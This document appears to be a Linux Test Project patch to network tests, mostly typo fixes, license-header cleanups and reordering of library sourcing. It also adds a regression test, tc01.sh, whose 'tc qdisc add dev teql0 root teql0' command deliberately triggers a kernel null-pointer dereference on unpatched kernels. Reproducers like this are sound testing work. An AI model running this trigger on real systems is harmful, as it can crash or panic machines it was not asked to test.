-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
index 697dbcb..f94e834 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPsec is not used
 #
@@ -55,7 +55,7 @@
 export TST_TOTAL
 
 # Test description
-tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending UDP datagram at the differnt NICs with the following conditions"
+tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending UDP datagram at the different NICs with the following conditions"
 
 # Make sure the value of LTPROOT
 LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`}
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
index 1d313c0..b4fc4d4 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPsec(AH), transport mode
 #
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
index bb6f72a..719f92e 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #
 #     - The version of IP is IPv4
 #     - IPsec(AH), tunnel mode
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
index 3b5cc09..e603972 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPsec(ESP), transport mode
 #
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
index 9a86842..3563706 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #
 #     - The version of IP is IPv4
 #     - IPsec(ESP), tunnel mode
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
index 34e0719..8bc360e 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #
 #     - The version of IP is IPv4
 #     - IPcomp, transport mode
diff --git a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07 b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
index d7d722a..1dbb4b9 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
+++ b/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv4
 #     - IPcomp, tunnel mode
 #
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
index 58ed34e..d0830b1 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv6
 #
 # Setup:
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
index 4993c71..021e835 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv6
 #     - IPsec(AH), transport mode
 #
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
index 924fc19..2764237 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #
 #     - The version of IP is IPv6
 #     - IPsec(AH), tunnel mode
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
index ef7a1a5..9fc8a57 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv6
 #     - IPsec(ESP), transport mode
 #
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
index f445910..2eaf931 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #
 #     - The version of IP is IPv6
 #     - IPsec(ESP), tunnel mode
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
index 58e7953..86ca2be 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #
 #     - The version of IP is IPv6
 #     - IPcomp, transport mode
diff --git a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07 b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
index 191e8ee..304572f 100644
--- a/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
+++ b/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
@@ -26,7 +26,7 @@
 #
 # Description:
 #   Verify that the kernel is not crashed with receiving and sending UDP
-#   datagram at differnt NIC with the following conditions
+#   datagram at different NIC with the following conditions
 #     - The version of IP is IPv6
 #     - IPcomp, tunnel mode
 #
diff --git a/testcases/network/stress/udp/multi-diffport/Makefile b/testcases/network/stress/udp/multi-diffport/Makefile
index 66714c9..118e54c 100644
--- a/testcases/network/stress/udp/multi-diffport/Makefile
+++ b/testcases/network/stress/udp/multi-diffport/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= udp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/udp/udp_ipsec.sh b/testcases/network/stress/udp/udp_ipsec.sh
index 1e10d20..628888e 100755
--- a/testcases/network/stress/udp/udp_ipsec.sh
+++ b/testcases/network/stress/udp/udp_ipsec.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -9,7 +9,6 @@
 TST_SETUP=tst_ipsec_setup
 TST_CNT=2
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_test()
 {
@@ -22,4 +21,5 @@
 	tst_netload -H $(tst_ipaddr rhost) -T $type $opts -r $IPSEC_REQUESTS
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/udp/udp_ipsec_vti.sh b/testcases/network/stress/udp/udp_ipsec_vti.sh
index d9a1e33..1cf4291 100755
--- a/testcases/network/stress/udp/udp_ipsec_vti.sh
+++ b/testcases/network/stress/udp/udp_ipsec_vti.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -9,7 +9,6 @@
 TST_CNT=2
 TST_SETUP=tst_ipsec_setup_vti
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_test()
 {
@@ -22,4 +21,5 @@
 	tst_netload -H $ip_rmt_tun -T $type $opts -r $IPSEC_REQUESTS -D $tst_vti
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/udp/uni-basic/Makefile b/testcases/network/stress/udp/uni-basic/Makefile
index 4f9c91e..7f6ae67 100644
--- a/testcases/network/stress/udp/uni-basic/Makefile
+++ b/testcases/network/stress/udp/uni-basic/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= udp*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cc/Makefile b/testcases/network/tcp_cc/Makefile
index a564eb4..54d3ee1 100644
--- a/testcases/network/tcp_cc/Makefile
+++ b/testcases/network/tcp_cc/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/tcp_cc/bbr01.sh b/testcases/network/tcp_cc/bbr01.sh
index e26abb1..c2219d2 100755
--- a/testcases/network/tcp_cc/bbr01.sh
+++ b/testcases/network/tcp_cc/bbr01.sh
@@ -7,8 +7,6 @@
 TST_CLEANUP="cleanup"
 TST_MIN_KVER="4.13"
 
-. tcp_cc_lib.sh
-
 cleanup()
 {
 	tc qdisc del dev $(tst_iface) root netem > /dev/null 2>&1
@@ -30,4 +28,5 @@
 	tcp_cc_test01 bbr -100
 }
 
+. tcp_cc_lib.sh
 tst_run
diff --git a/testcases/network/tcp_cc/bbr02.sh b/testcases/network/tcp_cc/bbr02.sh
index 7149838..0cc55fe 100755
--- a/testcases/network/tcp_cc/bbr02.sh
+++ b/testcases/network/tcp_cc/bbr02.sh
@@ -7,9 +7,6 @@
 TST_CLEANUP="cleanup"
 TST_MIN_KVER="4.13"
 TST_TEST_DATA="pfifo_fast codel pfifo fq hfsc hhf htb pie prio sfb sfq"
-
-. tcp_cc_lib.sh
-
 TST_CLEANUP="cleanup"
 
 cleanup()
@@ -37,4 +34,5 @@
 	tcp_cc_test01 bbr -100
 }
 
+. tcp_cc_lib.sh
 tst_run
diff --git a/testcases/network/tcp_cc/dctcp01.sh b/testcases/network/tcp_cc/dctcp01.sh
index 14ee96d..fbce6f4 100755
--- a/testcases/network/tcp_cc/dctcp01.sh
+++ b/testcases/network/tcp_cc/dctcp01.sh
@@ -9,8 +9,6 @@
 TST_CLEANUP="cleanup"
 TST_MIN_KVER="3.18"
 
-. tcp_cc_lib.sh
-
 cleanup()
 {
 	tc qdisc del dev $(tst_iface) root netem loss 0.5% ecn
@@ -36,4 +34,5 @@
 	tcp_cc_test01 dctcp 10
 }
 
+. tcp_cc_lib.sh
 tst_run
diff --git a/testcases/network/tcp_cc/tcp_cc_lib.sh b/testcases/network/tcp_cc/tcp_cc_lib.sh
index dff8cef..9b903f5 100755
--- a/testcases/network/tcp_cc/tcp_cc_lib.sh
+++ b/testcases/network/tcp_cc/tcp_cc_lib.sh
@@ -1,13 +1,13 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="sysctl tc"
-
-. tst_net.sh
+TST_NEEDS_DRIVERS="sch_netem"
 
 def_alg="cubic"
 prev_qlen=
@@ -30,7 +30,7 @@
 		tst_set_sysctl net.ipv4.tcp_congestion_control $prev_alg
 
 	[ "$prev_qlen" ] && \
-		tst_rhost_run -c "ip li set txqueuelen $prev_qlen $rmt_dev"
+		tst_rhost_run -c "ip link set txqueuelen $prev_qlen $rmt_dev"
 
 	[ "$prev_queue" ] && \
 		tst_rhost_run -c "tc qdisc replace $rmt_dev root $prev_queue"
@@ -103,3 +103,5 @@
 
 	tst_netload_compare $res0 $res1 $threshold
 }
+
+. tst_net.sh
diff --git a/testcases/network/tcp_cmds/Makefile b/testcases/network/tcp_cmds/Makefile
index 5719b1f..8c1e4f6 100644
--- a/testcases/network/tcp_cmds/Makefile
+++ b/testcases/network/tcp_cmds/Makefile
@@ -1,25 +1,7 @@
-#
-#    network/tcp_cmds test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#    Copyright (C) 2010, Linux Test Project.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Copyright (C) 2010, Linux Test Project.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/tcp_cmds/arping/arping01.sh b/testcases/network/tcp_cmds/arping/arping01.sh
index 6388f6a..6ae96e4 100755
--- a/testcases/network/tcp_cmds/arping/arping01.sh
+++ b/testcases/network/tcp_cmds/arping/arping01.sh
@@ -7,7 +7,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="arping"
 
-. tst_net.sh
 
 do_test()
 {
@@ -19,4 +18,5 @@
 	EXPECT_PASS arping -w $timeout "$ip_addr" -I $dev -fq
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
index 06b38fc..4058fbe 100755
--- a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
+++ b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
@@ -7,7 +7,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="cut clockdiff"
 
-. tst_net.sh
 
 do_test()
 {
@@ -27,4 +26,5 @@
 	fi
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/host/Makefile b/testcases/network/tcp_cmds/host/Makefile
index 1f3a513..453951e 100644
--- a/testcases/network/tcp_cmds/host/Makefile
+++ b/testcases/network/tcp_cmds/host/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/tcp_cmds/host testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= host01.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/host/host01.sh b/testcases/network/tcp_cmds/host/host01.sh
index 18b9102..6a40674 100755
--- a/testcases/network/tcp_cmds/host/host01.sh
+++ b/testcases/network/tcp_cmds/host/host01.sh
@@ -9,7 +9,6 @@
 TST_TESTFUNC="do_test"
 TST_NEEDS_CMDS="awk grep host hostname tail"
 
-. tst_net.sh
 
 do_test()
 {
@@ -30,4 +29,5 @@
 	fi
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/ipneigh/Makefile b/testcases/network/tcp_cmds/ipneigh/Makefile
index 8dc4c56..cf3f731 100644
--- a/testcases/network/tcp_cmds/ipneigh/Makefile
+++ b/testcases/network/tcp_cmds/ipneigh/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/tcp_cmds/arp testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= ipneigh01.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
index 6ad987c..644a1fb 100755
--- a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
+++ b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
@@ -13,7 +13,6 @@
 TST_PARSE_ARGS="parse_args"
 TST_USAGE="usage"
 TST_NEEDS_ROOT=1
-. tst_net.sh
 
 do_setup()
 {
@@ -85,4 +84,5 @@
 	tst_res TPASS "verified adding/removing $entry_name cache entry"
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/netstat/Makefile b/testcases/network/tcp_cmds/netstat/Makefile
index 83444db..b29bea5 100644
--- a/testcases/network/tcp_cmds/netstat/Makefile
+++ b/testcases/network/tcp_cmds/netstat/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/tcp_cmds/netstat testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= netstat01.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/netstat/netstat01.sh b/testcases/network/tcp_cmds/netstat/netstat01.sh
index a7c8d61..ae364e0 100755
--- a/testcases/network/tcp_cmds/netstat/netstat01.sh
+++ b/testcases/network/tcp_cmds/netstat/netstat01.sh
@@ -8,7 +8,6 @@
 TST_TESTFUNC="do_test"
 TST_NEEDS_CMDS="netstat"
 
-. tst_net.sh
 
 do_test()
 {
@@ -23,4 +22,5 @@
 	done
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/ping/Makefile b/testcases/network/tcp_cmds/ping/Makefile
index f8293e5..ed00eb1 100644
--- a/testcases/network/tcp_cmds/ping/Makefile
+++ b/testcases/network/tcp_cmds/ping/Makefile
@@ -10,6 +10,4 @@
 INSTALL_TARGETS		:= ping01.sh \
 			   ping02.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/ping/ping01.sh b/testcases/network/tcp_cmds/ping/ping01.sh
index bc9c1f9..39f7911 100755
--- a/testcases/network/tcp_cmds/ping/ping01.sh
+++ b/testcases/network/tcp_cmds/ping/ping01.sh
@@ -14,7 +14,6 @@
 TST_SETUP="do_setup"
 TST_TESTFUNC="do_test"
 
-. tst_net.sh
 
 do_setup()
 {
@@ -37,4 +36,5 @@
 	done
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/ping/ping02.sh b/testcases/network/tcp_cmds/ping/ping02.sh
index 07a7135..8eaa3d3 100755
--- a/testcases/network/tcp_cmds/ping/ping02.sh
+++ b/testcases/network/tcp_cmds/ping/ping02.sh
@@ -5,7 +5,6 @@
 TST_TESTFUNC="do_test"
 TST_NEEDS_ROOT=1
 
-. tst_net.sh
 
 do_test()
 {
@@ -13,4 +12,5 @@
 		 -p "000102030405060708090a0b0c0d0e0f" -c "${COUNT:-3}"
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/sendfile/Makefile b/testcases/network/tcp_cmds/sendfile/Makefile
index e3cc045..735a6ff 100644
--- a/testcases/network/tcp_cmds/sendfile/Makefile
+++ b/testcases/network/tcp_cmds/sendfile/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/tcp_cmds/sendfile testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, September 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/tcp_cmds/sendfile/sendfile01.sh b/testcases/network/tcp_cmds/sendfile/sendfile01.sh
index 7104de7..ce3f647 100755
--- a/testcases/network/tcp_cmds/sendfile/sendfile01.sh
+++ b/testcases/network/tcp_cmds/sendfile/sendfile01.sh
@@ -12,7 +12,6 @@
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="diff ss stat"
-. tst_net.sh
 
 do_setup()
 {
@@ -50,4 +49,5 @@
 	[ -n "$server_started" ] && tst_rhost_run -c "pkill $server"
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/tcp_cmds/tc/Makefile b/testcases/network/tcp_cmds/tc/Makefile
new file mode 100644
index 0000000..b4d8b86
--- /dev/null
+++ b/testcases/network/tcp_cmds/tc/Makefile
@@ -0,0 +1,10 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= tc01.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/tc/tc01.sh b/testcases/network/tcp_cmds/tc/tc01.sh
new file mode 100755
index 0000000..d3224d6
--- /dev/null
+++ b/testcases/network/tcp_cmds/tc/tc01.sh
@@ -0,0 +1,46 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+# Author: Yang Xu<xuyang2018.jy@fujitsu.com>
+#
+# When using "tc qdisc add dev teql0 root teql0 command", qdisc_create()
+# calls teql_qdisc_init() it imediately fails after check "if (m->dev == dev)"
+# because both devices are teql0, and it does not set qdisc_priv(sch)->m
+# leaving it zero on error path, then qdisc_create() imediately calls
+# teql_destroy() which does not expect zero master pointer and we get OOPS
+# on unpatched kernel.
+#
+# If we enable panic_on_oops, this case may crash.
+#
+# This kernel bug was introduced by
+# commit 87b60cfacf9f ("net_sched: fix error recovery at qdisc creation")
+# and has been fixed by
+# commit 1ffbc7ea9160 ("net: sched: sch_teql: fix null-pointer dereference")
+#
+
+TST_SETUP="setup"
+TST_TESTFUNC="do_test"
+TST_NEEDS_ROOT=1
+TST_NEEDS_DRIVERS="sch_teql"
+TST_NEEDS_CMDS="tc modprobe dmesg grep"
+
+setup()
+{
+	ROD modprobe $TST_NEEDS_DRIVERS
+}
+
+do_test()
+{
+	tst_res TINFO "Use tc qdisc command to trigger a null-pointer dereference"
+
+	EXPECT_FAIL tc qdisc add dev teql0 root teql0
+
+	if dmesg | grep -q 'RIP:.*sch_teql'; then
+		tst_res TFAIL "This bug is reproduced."
+	else
+		tst_res TPASS "This bug is not reproduced."
+	fi
+}
+
+. tst_test.sh
+tst_run
diff --git a/testcases/network/tcp_cmds/tcpdump/Makefile b/testcases/network/tcp_cmds/tcpdump/Makefile
index ed06cb8..747d1e5 100644
--- a/testcases/network/tcp_cmds/tcpdump/Makefile
+++ b/testcases/network/tcp_cmds/tcpdump/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= tcpdump01.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh b/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh
index 32953e7..00599e6 100755
--- a/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh
+++ b/testcases/network/tcp_cmds/tcpdump/tcpdump01.sh
@@ -25,6 +25,7 @@
 TST_TOTAL=1
 TCID="tcpdump01"
 TST_CLEANUP=do_cleanup
+TST_USE_LEGACY_API=1
 
 do_setup()
 {
@@ -64,10 +65,8 @@
 	tst_rmdir
 }
 
-TST_USE_LEGACY_API=1
 . tst_net.sh
 
 do_setup
 do_test
-
 tst_exit
